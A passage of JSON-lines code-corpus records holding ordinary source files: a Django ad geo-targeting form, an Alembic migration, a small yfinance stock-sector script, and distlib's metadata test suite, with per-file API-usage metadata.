"torch.distributed", "line_number": 215, "usage_type": "name"}, {"api_name": "torch.nn.DataParallel", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 217, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 221, "usage_type": "attribute"}, {"api_name": "numpy.random.get_state", "line_number": 221, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 223, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 231, "usage_type": "call"}, {"api_name": "utils.utils.get_step_schedule_with_warmup", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.distributed.get_rank", "line_number": 249, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 249, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 251, "usage_type": "call"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 252, "usage_type": "call"}]}
{"seq_id": "6077946703", "text": "from django.contrib.auth import get_user_model\nfrom django.db.models import Count\nfrom django import forms\nfrom django.utils.encoding import force_text\n\nfrom ads.models import LineItem\n\nUser = get_user_model()\n\nCOUNTRIES_CHOICES = [(x[0], x[1]) for x in User.objects.exclude(country_code__isnull=True).values_list('country_code', 'country_name').annotate(count=Count('country_code')).order_by('-count')]\nCITIES_CHOICES = [(x[0], x[0]) for x in User.objects.exclude(city__isnull=True).values_list('city').annotate(count=Count('city')).order_by('-count')]\n\n\nclass ArrayMultipleSelected(forms.SelectMultiple):\n    def format_value(self, value):\n        if value is None and self.allow_multiple_selected:\n            return []\n        if not isinstance(value, (tuple, list)):\n            # This means it should be a comma delimited list of items so parse it\n            value = value.split(',')\n        return [force_text(v) if v is not None else '' for v in value]\n\nclass GeoAdder(forms.ModelForm):\n    def __init__(self, *args, **kwargs):\n        super(GeoAdder, self).__init__(*args, **kwargs)\n        self.fields['targeting_countries'].widget = ArrayMultipleSelected(\n            attrs={'class': 'multi-select-input'}, choices=COUNTRIES_CHOICES\n        )\n        self.fields['targeting_cities'].widget = ArrayMultipleSelected(\n            attrs={'class': 'multi-select-input'}, choices=CITIES_CHOICES\n        )\n\n    class Meta:\n        model = LineItem\n        exclude = []\n", "repo_name": "5CORNERS/www.le-francais.ru", "sub_path": "ads/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1474, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models.Count", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models.Count", "line_number": 11, "usage_type": "call"}, {"api_name": "django.forms.SelectMultiple", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 14, "usage_type": "name"}, {"api_name": "django.utils.encoding.force_text", "line_number": 21, "usage_type": "call"}, {"api_name": "django.forms.ModelForm", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 23, "usage_type": "name"}, {"api_name": "ads.models.LineItem", "line_number": 34, "usage_type": "name"}]}
{"seq_id": "69902443430", "text": "\"\"\"empty message\n\nRevision ID: da5815fb47ef\nRevises: 462e5f0b6353\nCreate Date: 2020-04-28 12:37:28.619048\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'da5815fb47ef'\ndown_revision = '462e5f0b6353'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    pass\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('snow_child',\n    sa.Column('id', mysql.BIGINT(display_width=20), autoincrement=False, nullable=False, comment='关联的公司用户id'),\n    sa.Column('name', mysql.VARCHAR(length=20), nullable=True, comment='测试名字'),\n    sa.PrimaryKeyConstraint('id'),\n    comment='雪花算法子表',\n    mysql_comment='雪花算法子表',\n    mysql_default_charset='utf8',\n    mysql_engine='InnoDB'\n    )\n    op.drop_table('Snow_Child')\n    # ### end Alembic commands ###\n", "repo_name": "Gang-bb/Job-back-end", "sub_path": "migrations/versions/da5815fb47ef_.py", "file_name": "da5815fb47ef_.py", "file_ext": "py", "file_size_in_byte": 934, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 52, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alembic.op.create_table", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 25, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql.BIGINT", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql", "line_number": 26, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql.VARCHAR", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql", "line_number": 27, "usage_type": "name"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 28, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 34, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 34, "usage_type": "name"}]}
{"seq_id": "73252473191", "text": "import yfinance as yf\nimport sys, os\n\nfile = open(\"stonks.txt\",'r')\nlist_of_stonks = []\nticker_objs = {}\ni = 0\n\nfor line in file:\n    if len(line)>1:\n        list_of_stonks.append(line.strip('\\n'))\n\nfor ticker in list_of_stonks:\n    i = i + 1\n    try:\n        ticker_objs[ticker] = yf.Ticker(ticker)\n        print(str(i) + \",\" + ticker + \",\" + ticker_objs[ticker].info['sector'] + \",\" + ticker_objs[ticker].info['industry'])\n    except Exception as e:\n        print(e.args)\n\n##############################################\n\n## More random code\n# import yfinance as yf\n#\n# list_of_stonks = ['AAPL','MSFT','TSLA','AMD','GME']\n# stock_tickers = {}\n#\n# for ticker in list_of_stonks:\n#     print(\"Getting \", ticker)\n#     stock_tickers[ticker] = yf.Ticker(ticker)\n#\n# print(stock_tickers['AAPL'].balancesheet)   # pandas dataframe", "repo_name": "linpawsz/scratch", "sub_path": "001_02_yfinance_get_industry_sectors.py", "file_name": "001_02_yfinance_get_industry_sectors.py", "file_ext": "py", "file_size_in_byte": 824, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "yfinance.Ticker", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "8900630769", "text": "from __future__ import unicode_literals\n\nimport codecs\nimport json\nimport os\nimport sys\nfrom textwrap import dedent\n\nfrom compat import unittest\n\nfrom distlib import __version__\nfrom distlib.compat import StringIO\nfrom distlib.metadata import (LegacyMetadata, Metadata, METADATA_FILENAME,\n                              LEGACY_METADATA_FILENAME, PKG_INFO_PREFERRED_VERSION,\n                              MetadataMissingError, MetadataUnrecognizedVersionError,\n                              MetadataInvalidError, _ATTR2FIELD)\n\nfrom support import LoggingCatcher, TempdirManager, DistlibTestCase, in_github_workflow\n\n\nHERE = os.path.abspath(os.path.dirname(__file__))\nIN_GITHUB_WORKFLOW = in_github_workflow()\n\nclass LegacyMetadataTestCase(LoggingCatcher, TempdirManager,\n                             DistlibTestCase):\n\n    maxDiff = None\n    restore_environ = ['HOME']\n\n    def setUp(self):\n        super(LegacyMetadataTestCase, self).setUp()\n        self.argv = sys.argv, sys.argv[:]\n\n    def tearDown(self):\n        sys.argv = self.argv[0]\n        sys.argv[:] = self.argv[1]\n        super(LegacyMetadataTestCase, self).tearDown()\n\n    ####  Test various methods of the LegacyMetadata class\n\n    def get_file_contents(self, name):\n        name = os.path.join(HERE, name)\n        f = codecs.open(name, 'r', encoding='utf-8')\n        try:\n            contents = f.read() % sys.platform\n        finally:\n            f.close()\n        return contents\n\n    def test_instantiation(self):\n        PKG_INFO = os.path.join(HERE, 'PKG-INFO')\n        f = codecs.open(PKG_INFO, 'r', encoding='utf-8')\n        try:\n            contents = f.read()\n        finally:\n            f.close()\n\n        fp = StringIO(contents)\n\n        m = LegacyMetadata()\n        self.assertRaises(MetadataUnrecognizedVersionError, m.items)\n\n        m = LegacyMetadata(PKG_INFO)\n        self.assertEqual(len(m.items()), 22)\n\n        m = LegacyMetadata(fileobj=fp)\n        self.assertEqual(len(m.items()), 22)\n\n        m = LegacyMetadata(mapping=dict(name='Test', version='1.0'))\n        self.assertEqual(len(m.items()), 17)\n\n        d = dict(m.items())\n        self.assertRaises(TypeError, LegacyMetadata,\n                          PKG_INFO, fileobj=fp)\n        self.assertRaises(TypeError, LegacyMetadata,\n                          PKG_INFO, mapping=d)\n        self.assertRaises(TypeError, LegacyMetadata,\n                          fileobj=fp, mapping=d)\n        self.assertRaises(TypeError, LegacyMetadata,\n                          PKG_INFO, mapping=m, fileobj=fp)\n\n    def test_mapping_api(self):\n        content = self.get_file_contents('PKG-INFO')\n        metadata = LegacyMetadata(fileobj=StringIO(content))\n        self.assertIn('Version', metadata.keys())\n        self.assertIn('0.5', metadata.values())\n        self.assertIn(('Version', '0.5'), metadata.items())\n\n        metadata.update({'version': '0.6'})\n        self.assertEqual(metadata['Version'], '0.6')\n        metadata.update([('version', '0.7')])\n        self.assertEqual(metadata['Version'], '0.7')\n        # use a kwarg to update\n        metadata.update(version='0.6')\n        self.assertEqual(metadata['Version'], '0.6')\n\n        # make sure update method checks values like the set method does\n        metadata.update({'version': '1--2'})\n        self.assertEqual(len(self.get_logs()), 1)\n\n        self.assertEqual(list(metadata), metadata.keys())\n\n    def test_attribute_access(self):\n        content = self.get_file_contents('PKG-INFO')\n        metadata = LegacyMetadata(fileobj=StringIO(content))\n        for attr in _ATTR2FIELD:\n            self.assertEqual(getattr(metadata, attr), metadata[attr])\n\n    def test_read_metadata(self):\n        fields = {'name': 'project',\n                  'version': '1.0',\n                  'description': 'desc',\n                  'summary': 'xxx',\n                  'download_url': 'http://example.com',\n                  'keywords': ['one', 'two'],\n                  'requires_dist': ['foo']}\n\n        metadata = LegacyMetadata(mapping=fields)\n        PKG_INFO = StringIO()\n        metadata.write_file(PKG_INFO)\n        PKG_INFO.seek(0)\n\n        metadata = LegacyMetadata(fileobj=PKG_INFO)\n\n        self.assertEqual(metadata['name'], 'project')\n        self.assertEqual(metadata['version'], '1.0')\n        self.assertEqual(metadata['summary'], 'xxx')\n        self.assertEqual(metadata['download_url'], 'http://example.com')\n        self.assertEqual(metadata['keywords'], ['one', 'two'])\n        self.assertEqual(metadata['platform'], [])\n        self.assertEqual(metadata['obsoletes'], [])\n        self.assertEqual(metadata['requires-dist'], ['foo'])\n\n    def test_write_metadata(self):\n        # check support of non-ASCII values\n        tmp_dir = self.mkdtemp()\n        my_file = os.path.join(tmp_dir, 'f')\n\n        metadata = LegacyMetadata(mapping={\n                                     'name': 'my.project',\n                                     'author': 'Café Junior',\n                                     'summary': 'Café torréfié',\n                                     'description': 'Héhéhé',\n                                     'keywords': ['café', 'coffee']\n                                  })\n        metadata.write(my_file)\n\n        # the file should use UTF-8\n        metadata2 = LegacyMetadata()\n        fp = codecs.open(my_file, encoding='utf-8')\n        try:\n            metadata2.read_file(fp)\n        finally:\n            fp.close()\n\n        # XXX when keywords are not defined, metadata will have\n        # 'Keywords': [] but metadata2 will have 'Keywords': ['']\n        # because of a value.split(',') in LegacyMetadata.get\n        self.assertEqual(metadata.items(), metadata2.items())\n\n        # ASCII also works, it's a subset of UTF-8\n        metadata = LegacyMetadata(mapping={'author': 'Mister Cafe',\n                                     'name': 'my.project',\n                                     'author': 'Cafe Junior',\n                                     'summary': 'Cafe torrefie',\n                                     'description': 'Hehehe'\n                                  })\n        metadata.write(my_file)\n\n        metadata2 = LegacyMetadata()\n        fp = codecs.open(my_file, encoding='utf-8')\n        try:\n            metadata2.read_file(fp)\n        finally:\n            fp.close()\n\n    def test_metadata_read_write(self):\n        PKG_INFO = os.path.join(HERE, 'PKG-INFO')\n        metadata = LegacyMetadata(PKG_INFO)\n        out = StringIO()\n        metadata.write_file(out)\n\n        out.seek(0)\n        res = LegacyMetadata()\n        res.read_file(out)\n        self.assertEqual(metadata.values(), res.values())\n\n    ####  Test checks\n\n    def test_check_version(self):\n        metadata = LegacyMetadata()\n        metadata['Name'] = 'vimpdb'\n        metadata['Home-page'] = 'http://pypi.org'\n        metadata['Author'] = 'Monty Python'\n        missing, warnings = metadata.check()\n        self.assertEqual(missing, ['Version'])\n\n    def test_check_version_strict(self):\n        metadata = LegacyMetadata()\n        metadata['Name'] = 'vimpdb'\n        metadata['Home-page'] = 'http://pypi.org'\n        metadata['Author'] = 'Monty Python'\n        self.assertRaises(MetadataMissingError, metadata.check, strict=True)\n\n    def test_check_name(self):\n        metadata = LegacyMetadata()\n        metadata['Version'] = '1.0'\n        metadata['Home-page'] = 'http://pypi.org'\n        metadata['Author'] = 'Monty Python'\n        missing, warnings = metadata.check()\n        self.assertEqual(missing, ['Name'])\n\n    def test_check_name_strict(self):\n        metadata = LegacyMetadata()\n        metadata['Version'] = '1.0'\n        metadata['Home-page'] = 'http://pypi.org'\n        metadata['Author'] = 'Monty Python'\n        self.assertRaises(MetadataMissingError, metadata.check, strict=True)\n\n    def test_check_author(self):\n        metadata = LegacyMetadata()\n        metadata['Version'] = '1.0'\n        metadata['Name'] = 'vimpdb'\n        metadata['Home-page'] = 'http://pypi.org'\n        missing, warnings = metadata.check()\n        self.assertEqual(missing, ['Author'])\n\n    def test_check_homepage(self):\n        metadata = LegacyMetadata()\n        metadata['Version'] = '1.0'\n        metadata['Name'] = 'vimpdb'\n        metadata['Author'] = 'Monty Python'\n        missing, warnings = metadata.check()\n        self.assertEqual(missing, ['Home-page'])\n\n    def test_check_matchers(self):\n        metadata = LegacyMetadata()\n        metadata['Version'] = 'rr'\n        metadata['Name'] = 'vimpdb'\n        metadata['Home-page'] = 'http://pypi.org'\n        metadata['Author'] = 'Monty Python'\n        metadata['Requires-dist'] = ['Foo (a)']\n        metadata['Obsoletes-dist'] = ['Foo (a)']\n        metadata['Provides-dist'] = ['Foo (a)']\n        missing, warnings = metadata.check()\n        self.assertEqual(len(warnings), 4)\n\n    ####  Test fields and metadata versions\n\n    def test_metadata_versions(self):\n        metadata = LegacyMetadata(mapping={'name': 'project',\n                                           'version': '1.0'})\n        self.assertEqual(metadata['Metadata-Version'],\n                         PKG_INFO_PREFERRED_VERSION)\n        self.assertNotIn('Provides', metadata)\n        self.assertNotIn('Requires', metadata)\n        self.assertNotIn('Obsoletes', metadata)\n\n        metadata['Classifier'] = ['ok']\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '1.1')\n\n        metadata = LegacyMetadata()\n        metadata['Download-URL'] = 'ok'\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '1.1')\n\n        metadata = LegacyMetadata()\n        metadata['Obsoletes'] = 'ok'\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '1.1')\n\n        del metadata['Obsoletes']\n        metadata['Obsoletes-Dist'] = 'ok'\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '1.2')\n        metadata.set('Obsoletes', 'ok')\n        # See issue #140. Relaxed checking on Obsoletes\n        # self.assertRaises(MetadataConflictError,\n                          # metadata.set_metadata_version)\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '2.2')\n\n        del metadata['Obsoletes']\n        del metadata['Obsoletes-Dist']\n        metadata.set_metadata_version()\n        metadata['Version'] = '1'\n        self.assertEqual(metadata['Metadata-Version'], '1.1')\n\n        # make sure the _best_version function works okay with\n        # non-conflicting fields from 1.1 and 1.2 (i.e. we want only the\n        # requires/requires-dist and co. pairs to cause a conflict, not all\n        # fields in _314_MARKERS)\n        metadata = LegacyMetadata()\n        metadata['Requires-Python'] = '3'\n        metadata['Classifier'] = ['Programming language :: Python :: 3']\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '1.2')\n\n        PKG_INFO = os.path.join(HERE, 'SETUPTOOLS-PKG-INFO')\n        metadata = LegacyMetadata(PKG_INFO)\n        self.assertEqual(metadata['Metadata-Version'], '1.0')\n\n        PKG_INFO = os.path.join(HERE, 'SETUPTOOLS-PKG-INFO2')\n        metadata = LegacyMetadata(PKG_INFO)\n        self.assertEqual(metadata['Metadata-Version'], '1.1')\n\n        # make sure an empty list for Obsoletes and Requires-dist gets ignored\n        metadata['Obsoletes'] = []\n        metadata['Requires-dist'] = []\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '1.1')\n\n        # Update the _fields dict directly to prevent 'Metadata-Version'\n        # from being updated by the _set_best_version() method.\n        metadata._fields['Metadata-Version'] = '1.618'\n        self.assertRaises(MetadataUnrecognizedVersionError, metadata.keys)\n\n        # add a test for 2.1\n        metadata = LegacyMetadata()\n        metadata['Description-Content-Type'] = 'text/markdown; charset=UTF-8; variant=CommonMark'\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '2.1')\n\n    def test_version(self):\n        LegacyMetadata(mapping={'author': 'xxx',\n                          'name': 'xxx',\n                          'version': 'xxx',\n                          'home_page': 'xxxx'\n                       })\n        logs = self.get_logs()\n        self.assertEqual(1, len(logs))\n        self.assertIn('not a valid version', logs[0])\n\n    @unittest.skipIf(IN_GITHUB_WORKFLOW, 'This test is end-of-line dependent')\n    def test_description(self):\n        content = self.get_file_contents('PKG-INFO')\n        metadata = LegacyMetadata()\n        metadata.read_file(StringIO(content))\n\n        # see if we can read the description now\n        DESC = os.path.join(HERE, 'LONG_DESC.txt')\n        f = open(DESC)\n        try:\n            wanted = f.read()\n        finally:\n            f.close()\n        self.assertEqual(wanted, metadata['Description'])\n\n        # save the file somewhere and make sure we can read it back\n        out = StringIO()\n        metadata.write_file(out)\n        out.seek(0)\n\n        out.seek(0)\n        metadata = LegacyMetadata()\n        metadata.read_file(out)\n        self.assertEqual(wanted, metadata['Description'])\n\n    def test_description_folding(self):\n        # make sure the indentation is preserved\n        out = StringIO()\n        desc = dedent(\"\"\"\\\n        example::\n              We start here\n            and continue here\n          and end here.\n        \"\"\")\n\n        metadata = LegacyMetadata()\n        metadata['description'] = desc\n        metadata.write_file(out)\n\n        # folded_desc = desc.replace('\\n', '\\n' + (7 * ' ') + '|')\n        folded_desc = desc.replace('\\n', '\\n' + (8 * ' '))\n        self.assertIn(folded_desc, out.getvalue())\n\n    def test_project_url(self):\n        metadata = LegacyMetadata()\n        metadata['Project-URL'] = [('one', 'http://ok')]\n        self.assertEqual(metadata['Project-URL'], [('one', 'http://ok')])\n        metadata.set_metadata_version()\n        self.assertEqual(metadata['Metadata-Version'], '1.2')\n\n        # make sure this particular field is handled properly when written\n        fp = StringIO()\n        metadata.write_file(fp)\n        self.assertIn('Project-URL: one,http://ok', fp.getvalue().split('\\n'))\n\n        fp.seek(0)\n        metadata = LegacyMetadata()\n        metadata.read_file(fp)\n        self.assertEqual(metadata['Project-Url'], [('one', 'http://ok')])\n\n    # TODO copy tests for v1.1 requires, obsoletes and provides from distutils\n    # (they're useless but we support them so we should test them anyway)\n\n    def test_provides_dist(self):\n        fields = {'name': 'project',\n                  'version': '1.0',\n                  'provides_dist': ['project', 'my.project']}\n        metadata = LegacyMetadata(mapping=fields)\n        self.assertEqual(metadata['Provides-Dist'],\n                         ['project', 'my.project'])\n        self.assertEqual(metadata['Metadata-Version'], '1.2', metadata)\n        self.assertNotIn('Requires', metadata)\n        self.assertNotIn('Obsoletes', metadata)\n\n    def test_requires_dist(self):\n        fields = {'name': 'project',\n                  'version': '1.0',\n                  'requires_dist': ['other', 'another (==1.0)']}\n        metadata = LegacyMetadata(mapping=fields)\n        self.assertEqual(metadata['Requires-Dist'],\n                         ['other', 'another (==1.0)'])\n        self.assertEqual(metadata['Metadata-Version'], '1.2')\n        self.assertNotIn('Provides', metadata)\n        self.assertEqual(metadata['Requires-Dist'],\n                         ['other', 'another (==1.0)'])\n        self.assertNotIn('Obsoletes', metadata)\n\n        # make sure write_file uses one RFC 822 header per item\n        fp = StringIO()\n        metadata.write_file(fp)\n        lines = fp.getvalue().split('\\n')\n        self.assertIn('Requires-Dist: other', lines)\n        self.assertIn('Requires-Dist: another (==1.0)', lines)\n\n        # test warnings for invalid version constraints\n        # XXX this would cause no warnings if we used update (or the mapping\n        # argument of the constructor), see comment in LegacyMetadata.update\n        metadata = LegacyMetadata()\n        metadata['Requires-Dist'] = 'Funky (Groovie)'\n        metadata['Requires-Python'] = '1a-4'\n        self.assertEqual(len(self.get_logs()), 2)\n\n        # test multiple version matches\n        metadata = LegacyMetadata()\n\n        # XXX check PEP and see if 3 == 3.0\n        metadata['Requires-Python'] = '>=2.6, <3.0'\n        metadata['Requires-Dist'] = ['Foo (>=2.6, <3.0)']\n        self.assertEqual(self.get_logs(), [])\n\n    def test_obsoletes_dist(self):\n        fields = {'name': 'project',\n                  'version': '1.0',\n                  'obsoletes_dist': ['other', 'another (<1.0)']}\n        metadata = LegacyMetadata(mapping=fields)\n        self.assertEqual(metadata['Obsoletes-Dist'],\n                         ['other', 'another (<1.0)'])\n        self.assertEqual(metadata['Metadata-Version'], '1.2')\n        self.assertNotIn('Provides', metadata)\n        self.assertNotIn('Requires', metadata)\n        self.assertEqual(metadata['Obsoletes-Dist'],\n                         ['other', 'another (<1.0)'])\n\n    def test_fullname(self):\n        md = LegacyMetadata()\n        md['Name'] = 'a b c'\n        md['Version'] = '1 0 0'\n        s = md.get_fullname()\n        self.assertEqual(s, 'a b c-1 0 0')\n        s = md.get_fullname(True)\n        self.assertEqual(s, 'a-b-c-1.0.0')\n\n    def test_fields(self):\n        md = LegacyMetadata()\n        self.assertTrue(md.is_multi_field('Requires-Dist'))\n        self.assertFalse(md.is_multi_field('Name'))\n        self.assertTrue(md.is_field('Obsoleted-By'))\n        self.assertFalse(md.is_field('Frobozz'))\n\nclass MetadataTestCase(LoggingCatcher, TempdirManager,\n                       DistlibTestCase):\n    def test_init(self):\n        \"Test initialisation\"\n        md = Metadata()\n        self.assertIsNone(md._legacy)\n        self.assertRaises(MetadataMissingError, md.validate)\n        md.name = 'dummy'\n        self.assertRaises(MetadataMissingError, md.validate)\n        md.version = '0.1'\n        self.assertRaises(MetadataMissingError, md.validate)\n        md.summary = 'Summary'\n        md.validate()\n        self.assertEqual(md.name, 'dummy')\n        self.assertEqual(md.version, '0.1')\n\n        # Initialise from mapping\n        md = Metadata(mapping={\n                        'metadata_version': '2.0',\n                        'name': 'foo',\n                        'version': '0.3.4',\n                        'summary': 'Summary',\n                      })\n        md.validate()\n        self.assertEqual(md.name, 'foo')\n        self.assertEqual(md.version, '0.3.4')\n        self.assertEqual(md.run_requires, [])\n        self.assertEqual(md.meta_requires, [])\n        self.assertEqual(md.provides, ['foo (0.3.4)'])\n\n        # Initialise from legacy metadata\n        fn = os.path.join(HERE, 'fake_dists', 'choxie-2.0.0.9.dist-info',\n                          LEGACY_METADATA_FILENAME)\n        md = Metadata(path=fn)\n        md.validate()\n        self.assertIsNotNone(md._legacy)\n        self.assertEqual(set(md.run_requires), set(['towel-stuff (0.1)', 'nut']))\n        self.assertEqual(md.metadata_version, '1.2')\n        self.assertEqual(md.version, '2.0.0.9')\n        self.assertEqual(md.meta_requires, [])\n        self.assertEqual(set(md.provides),\n                         set(['choxie (2.0.0.9)', 'truffles (1.0)']))\n\n        # Initialise from new metadata\n        fn = os.path.join(HERE, METADATA_FILENAME)\n        md = Metadata(path=fn)\n        md.validate()\n        self.assertIsNone(md._legacy)\n        self.assertEqual(md.metadata_version, '2.0')\n        self.assertEqual(md.name, 'foobar')\n        self.assertEqual(md.version, '0.1')\n        self.assertEqual(md.provides, ['foobar (0.1)'])\n\n    def test_add_requirements(self):\n        md = Metadata()\n        md.name = 'bar'\n        md.version = '0.5'\n        md.add_requirements(['foo (0.1.2)'])\n        self.assertEqual(md.run_requires, [{ 'requires': ['foo (0.1.2)']}])\n\n        fn = os.path.join(HERE, 'fake_dists', 'choxie-2.0.0.9.dist-info',\n                          LEGACY_METADATA_FILENAME)\n        md = Metadata(path=fn)\n        md.add_requirements(['foo (0.1.2)'])\n        self.assertEqual(set(md.run_requires),\n                         set(['towel-stuff (0.1)', 'nut', 'foo (0.1.2)']))\n\n    def test_requirements(self):\n        fn = os.path.join(HERE, METADATA_FILENAME)\n        md = Metadata(path=fn)\n        self.assertEqual(md.meta_requires, [{'requires': ['bar (1.0)']}])\n        r = md.get_requirements(md.run_requires)\n        self.assertEqual(r, ['foo'])\n        r = md.get_requirements(md.run_requires, extras=['certs'])\n        self.assertEqual(r, ['foo', 'certifi (0.0.8)'])\n        r = md.get_requirements(md.run_requires, extras=['certs', 'ssl'])\n        if sys.platform != 'win32':\n            self.assertEqual(r, ['foo', 'certifi (0.0.8)'])\n        else:\n            self.assertEqual(set(r), set(['foo', 'certifi (0.0.8)',\n                                          'wincertstore (0.1)']))\n        for ver in ('2.5', '2.4'):\n            env = {'python_version': ver}\n            r = md.get_requirements(md.run_requires,\n                                    extras=['certs', 'ssl'], env=env)\n            if sys.platform != 'win32':\n                self.assertEqual(set(r), set(['foo', 'certifi (0.0.8)',\n                                              'ssl (1.16)']))\n            elif ver == '2.4':\n                self.assertEqual(set(r), set(['certifi (0.0.8)', 'ssl (1.16)',\n                                              'wincertstore (0.1)', 'foo',\n                                              'ctypes (1.0.2)']))\n            else:\n                self.assertEqual(set(r), set(['certifi (0.0.8)', 'ssl (1.16)',\n                                              'wincertstore (0.1)', 'foo']))\n        env['sys_platform'] = 'win32'\n        r = md.get_requirements(md.run_requires,\n                                extras=['certs', 'ssl'], env=env)\n        self.assertEqual(set(r), set(['foo', 'certifi (0.0.8)', 'ssl (1.16)',\n                                      'ctypes (1.0.2)', 'wincertstore (0.1)']))\n        env['python_version'] = '2.5'\n        r = md.get_requirements(md.run_requires,\n                                extras=['certs', 'ssl'], env=env)\n        self.assertEqual(set(r), set(['foo', 'certifi (0.0.8)', 'ssl (1.16)',\n                                      'wincertstore (0.1)']))\n        r = md.get_requirements(md.run_requires, extras=[':test:'])\n        self.assertEqual(r, ['foo', 'nose'])\n        r = md.get_requirements(md.run_requires, extras=[':test:', 'udp'])\n        self.assertEqual(set(r), set(['foo', 'nose', 'nose-udp']))\n        self.assertEqual(md.dependencies, {\n            'provides': ['foobar (0.1)'],\n            'meta_requires': [\n                {\n                    'requires': ['bar (1.0)']\n                }\n            ],\n            'extras': ['ssl', 'certs'],\n            'build_requires': [],\n            'test_requires': [\n                {\n                    'requires': ['nose'],\n                },\n                {\n                    'requires': ['nose-udp'],\n                    'extra': 'udp',\n                }\n            ],\n            'run_requires': [\n                {\n                    'requires': ['foo']\n                },\n                {\n                    'requires': ['certifi (0.0.8)'],\n                    'extra': 'certs',\n                },\n                {\n                    'requires': ['wincertstore (0.1)'],\n                    'extra': 'ssl',\n                    'environment': \"sys_platform=='win32'\",\n                },\n                {\n                    'requires': ['ctypes (1.0.2)'],\n                    'extra': 'ssl',\n                    'environment': \"sys_platform=='win32' and \"\n                                   \"python_version=='2.4'\",\n                },\n                {\n                    'requires': ['ssl (1.16)'],\n                    'extra': 'ssl',\n                    'environment': \"python_version in '2.4, 2.5'\",\n                }\n            ]\n        })\n\n    def test_write(self):\n        dfn = self.temp_filename()\n        # Read legacy, write new\n        sfn = os.path.join(HERE, 'fake_dists', 'choxie-2.0.0.9.dist-info',\n                           LEGACY_METADATA_FILENAME)\n        md = Metadata(path=sfn)\n        md.write(path=dfn)\n        with codecs.open(dfn, 'r', 'utf-8') as f:\n            data = json.load(f)\n        self.assertEqual(data, {\n            'metadata_version': '2.0',\n            'generator': 'distlib (%s)' % __version__,\n            'name': 'choxie',\n            'version': '2.0.0.9',\n            'license': 'BSD',\n            'summary': 'Chocolate with a kick!',\n            'description': 'Chocolate with a longer kick!',\n            'provides': ['truffles (1.0)', 'choxie (2.0.0.9)'],\n            'run_requires': [{'requires': ['towel-stuff (0.1)', 'nut']}],\n            'keywords': [],\n        })\n        # Write legacy, compare with original\n        md.write(path=dfn, legacy=True)\n        nmd = Metadata(path=dfn)\n        d1 = md.todict()\n        d2 = nmd.todict()\n        self.assertEqual(d1, d2)\n\n    def test_valid(self):\n        \"\"\"\n        Tests to check that missing and invalid metadata is caught.\n        \"\"\"\n        md = Metadata()\n        self.assertRaises(MetadataMissingError, md.validate)\n        try:\n            md.name = 'Foo Bar'\n        except MetadataInvalidError:\n            pass\n        md.name = 'foo_bar'\n        # Name now OK, but version and summary to be checked\n        self.assertRaises(MetadataMissingError, md.validate)\n        try:\n            md.version = '1.0a'\n        except MetadataInvalidError:\n            pass\n        md.version = '1.0'\n        # Name and version now OK, but summary to be checked\n        self.assertRaises(MetadataMissingError, md.validate)\n        try:\n            md.summary = ''\n        except MetadataInvalidError:\n            pass\n        try:\n            md.summary = ' ' * 2048\n        except MetadataInvalidError:\n            pass\n        md.summary = ' ' * 2047\n        md.validate()\n        md.summary = ' '\n        md.validate()\n\n\nif __name__ == '__main__':  # pragma: no cover\n    unittest.main()\n", "repo_name": "pypa/distlib", "sub_path": "tests/test_metadata.py", "file_name": "test_metadata.py", "file_ext": "py", "file_size_in_byte": 26431, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 21, "usage_type": "call"}, {"api_name": "support.in_github_workflow", "line_number": 22, "usage_type": "call"}, {"api_name": "support.LoggingCatcher", "line_number": 24, "usage_type": 